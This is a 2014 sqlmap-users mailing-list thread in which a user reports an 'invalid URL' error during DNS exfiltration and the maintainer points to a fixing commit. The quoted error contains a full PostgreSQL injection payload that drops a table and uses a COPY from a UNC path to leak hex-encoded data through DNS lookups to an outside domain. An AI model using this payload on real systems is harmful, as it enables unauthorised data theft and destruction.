Re: [sqlmap-users] [CRITICAL] invalid URL address used

[Miroslav S. <mir...@gm...>]

Hi.

It should be fixed now with the latest commit [1]. Please update to the
latest revision.

Kind regards,
Miroslav Stampar

[1]
https://github.com/sqlmapproject/sqlmap/commit/4e0e64d06bbd7c66506c2d2bfeb854c8a546fb4f

On Fri, Oct 31, 2014 at 6:35 PM, Chris Clements <ccl...@ou...>
wrote:

> Working on an injection on a target and got this error when I attempt to
> use DNS exfiltration:
>
>
> [12:17:32] [CRITICAL] invalid URL address used ("
> https://www.testsite.net:443/SLWebSiteTemplate_V2/login.aspx?sCorpCode=LWNaZ8T2TtGjK3K2nRx99w==-2655');%20DROP%20TABLE%20IF%20EXISTS%20PCSI;%20CREATE%20TABLE%20PCSI(fyYd%20text);%20CREATE%20OR%20REPLACE%20FUNCTION%20mNrn(
> )\nRETURNS%20VOID%20AS%20$$\nDECLARE%20gAXt%20TEXT;%20DECLARE%20wNki%20TEXT;%20BEGIN\nSELECT%20INTO%20wNki%20(SELECT%20ENCODE(CONVERT_TO((SUBSTRING((COALESCE(CAST(3084%20AS%20CHARACTER(10000)),'%20'))::text%20FROM%201%20FOR%2031)),'UTF8'),'HEX'));%20gAXt%20:=%20E'COPY%20PCSI(fyYd)%20FROM%20E\\'\\\\\\\\\\\\\\\\HTr.'||wNki||E'.
> ZgJ.mydomain.com
> \\\\\\\\VwAi\\'';%20EXECUTE%20gAXt;%20END;%20$$%20LANGUAGE%20plpgsql%20SECURITY%20DEFINER;%20SELECT%20mNrn();--&sLocationCode=zI76x8tC/ksUgQBEEYYJfQ==")
>
> [*] shutting down at 12:17:32
>
>
> Did some searching, but didn't come up with anything on this error.  Can
> someone point me in the right direction?
>
>
>
> ------------------------------------------------------------------------------
>
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm